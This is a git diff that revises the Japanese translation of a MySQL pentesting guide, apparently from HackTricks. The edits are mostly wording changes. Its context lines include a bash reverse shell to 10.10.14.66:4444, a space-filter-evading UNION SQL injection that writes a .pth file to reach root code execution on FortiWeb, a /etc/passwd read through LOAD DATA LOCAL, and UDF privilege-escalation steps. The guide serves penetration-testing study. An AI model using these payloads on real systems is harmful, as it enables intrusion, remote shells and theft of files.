diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index e334c0b28..b8e8cf4d5 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -1,15 +1,10 @@ # 3306 - Pentesting Mysql -{{#include /banners/hacktricks-training.md}} - -## References -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - {{#include ../banners/hacktricks-training.md}} ## **基本情報** -**MySQL** は、無料で利用できるオープンソースの **リレーショナルデータベース管理システム (RDBMS)** として説明できます。これは **構造化クエリ言語 (SQL)** に基づいて動作し、データベースの管理と操作を可能にします。 +**MySQL**は、無料で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**に基づいて動作し、データベースの管理と操作を可能にします。 **デフォルトポート:** 3306 ``` @@ -46,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` -## **MySQL コマンド** +## **MySQLコマンド** ```bash show databases; use ; @@ -83,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### MySQLの権限列挙 +### MySQL 権限列挙 ```sql #Mysql SHOW GRANTS [FOR user]; @@ -126,7 +121,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -**UNION** クエリを通じてファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保つ): +**UNION** クエリを使用してファイルを作成する例(スペース文字は `/**/` に置き換えられ、`sscanf("%128s")` スペースフィルターを回避し、合計長を ≤128 バイトに保ちます): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` @@ -135,9 +130,9 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10 * `INTO OUTFILE` **は既存のファイルを上書きできません**; 新しいファイル名を選択してください。 * ファイルパスは **MySQLのCWDに対して相対的に解決される**ため、`../../`をプレフィックスとして使用することでパスを短縮し、絶対パスの制限をバイパスできます。 * 攻撃者の入力が`%128s`(または類似のもの)で抽出されると、任意のスペースがペイロードを切り詰めます; スペースを置き換えるためにMySQLコメントシーケンス`/**/`または`/*!*/`を使用してください。 -* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが**root**として実行され、ほぼすべての場所に書き込みアクセスが与えられます。 +* クエリを実行するMySQLユーザーは`FILE`権限が必要ですが、多くのアプライアンス(例: FortiWeb)ではサービスが**root**として実行され、ほぼどこでも書き込みアクセスが与えられます。 -`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を取得します: +`.pth`を削除した後、単にpythonインタープリタによって処理される任意のCGIをリクエストしてコード実行を得ます: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: @@ -154,7 +149,7 @@ uid=0(root) gid=0(root) groups=0(root) ## MySQL クライアントによる任意のファイルの読み取り 実際に、**テーブルにローカルデータをロードする**際に、MySQL または MariaDB サーバーは **クライアントにファイルを読み取って** その内容を送信するように要求します。**したがって、mysql クライアントを改ざんして自分の MySQL サーバーに接続できれば、任意のファイルを読み取ることができます。**\ -この動作は次のようになります: +この動作は次のように行われます: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` @@ -222,7 +217,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -ライブラリを取得したら、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください: +今、ライブラリがあるので、特権ユーザー(root?)としてMysqlにログインし、次の手順に従ってください: #### Linux ```sql